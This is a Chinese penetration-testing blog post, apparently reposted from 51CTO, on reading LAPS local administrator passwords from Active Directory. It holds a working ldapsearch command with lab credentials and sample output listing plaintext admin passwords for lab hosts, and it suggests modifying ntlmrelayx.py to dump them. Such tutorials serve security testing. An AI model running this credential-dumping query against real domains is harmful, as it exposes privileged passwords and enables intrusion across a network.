博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
域渗透TIPS:获取LAPS管理员密码
阅读量:6954 次
发布时间:2019-06-27

本文共 2316 字,大约阅读时间需要 7 分钟。

如果你之前有对启用LAPS机制的主机进行渗透测试,那么你应该能体会到该机制的随机化本地管理员密码是有多么令人痛苦。

LAPS将其信息存储在活动目录:

  • 存储密码过期时间:ms-Mcs-AdmPwdExpirationTime: 131461867015760024
  • 以明文显示的存储密码:ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(

LAPS早期版本中,任何用户都能够读取活动目录中的内容。还好微软已经修复,目前你必须获得该对象的所有扩展权限或者是完全控制权限才能够进行访问。

在复杂的真实环境中,内网主机中还可能存在隐藏的OU权限管理员,甚至是拥有完全控制权限的,负责特定用户组的一个标准用户。

得益于开发的Metasploit模块:

帮助我们完成了这项工作。但是我们不可能每次都特地打开一个Meterpreter会话来运行该模块吧?

使用ldapsearch(包含在Debian/Ubuntu的ldapscripts程序包中)可以被用来构造与该模块相同的请求,以下便是一个例子:

 
  1. ldapsearch -x -h 192.168.80.10 -D \ 
  2. "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" \ 
  3. "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd 

解析:

  • -x – 使用基础身份验证
  • -h 192.168.80.10 – 将ldap连接到域控制器
  • -D “helpdesk” -w ASDqwe123 – 以用户名helpdesk,密码ASDqwe123进行登录
  • -b “dc=sittingduck,dc=info” – 加载整个域的基础LDAP对象
  • “(ms-MCS-AdmPwd=*)” – 过滤掉所有不能查看的ms-MCS-AdmPwd值 (只要拥有足够的权限,甚至还可以获取Administrator密码)
  • ms-MCS-AdmPwd – 仅显示ms-MCS-AdmPwd对象 (默认包含对象名以及DN,所以你还是能知道主机从属关系)

运行情况如下:

 
  1. $ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd 
  2. # extended LDIF 
  3. # LDAPv3 
  4. # base <dcdc=sittingduck,dc=info> with scope subtree 
  5. # filter: (ms-MCS-AdmPwd=*) 
  6. # requesting: ms-MCS-AdmPwd 
  7.  
  8. # DC1, Domain Controllers, sittingduck.info 
  9. dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info 
  10. ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F 
  11.  
  12. # SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info 
  13. dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  14. ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR 
  15.  
  16. # SD_WSUS_2012, LabComputers, Lab, sittingduck.info 
  17. dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  18. ms-Mcs-AdmPwd: +3!UY5@g9B.64RV2z/T 
  19.  
  20. # WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info 
  21. dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  22. ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#( 
  23.  
  24. # search reference 
  25. ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info 
  26.  
  27. # search reference 
  28. ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D 
  29.  C=info 
  30.  
  31. # search reference 
  32. ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D 
  33.  C=info 
  34.  
  35. # search reference 
  36. ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info 
  37.  
  38. # search result 
  39. search: 2 
  40. result: 0 Success 

至从获得本地管理员密码,但还没有确定该帐号是否启用,你可以使用Kerberos进行身份验证。由于Windows中域控制器对LDAP连接不会要求证书验证(据我所知),你只需在ntlmrelayx.py进行一些小修改就能转储LAPS密码了。

作者:鸢尾

来源:51CTO

转载地址:http://pwnil.baihongyu.com/

你可能感兴趣的文章
《程序员代码面试指南》第五章 字符串问题 回文最少分割数
查看>>
Linux学习总结(4)——Centos6.5使用yum安装mysql——快速上手必备
查看>>
在微软5年,我学到的几个小技能
查看>>
静态类 和 静态构造方法
查看>>
Java实现八大排序之冒泡排序
查看>>
Java正则表达式
查看>>
用js互相调用iframe页面内的js函数
查看>>
DNS开源服务器BIND最小配置详解<转>
查看>>
grub2 windows版安装
查看>>
使用VirtualEnvWrapper隔离python项目的库依赖
查看>>
Bootstrap——优秀的开源前端框架
查看>>
Struts文件上传allowedTypes问题,烦人的“允许上传的文件类型”
查看>>
evaluate-division
查看>>
hdu 2141 Can you find it?
查看>>
html5--3.10 input元素(9)
查看>>
路由器与交换机区别
查看>>
Android菜鸟在路上——Activity生命周期
查看>>
Swing-JCheckBox用法-入门
查看>>
比爾蓋茲給年青人的十一句話
查看>>
注册表单常用验证方式
查看>>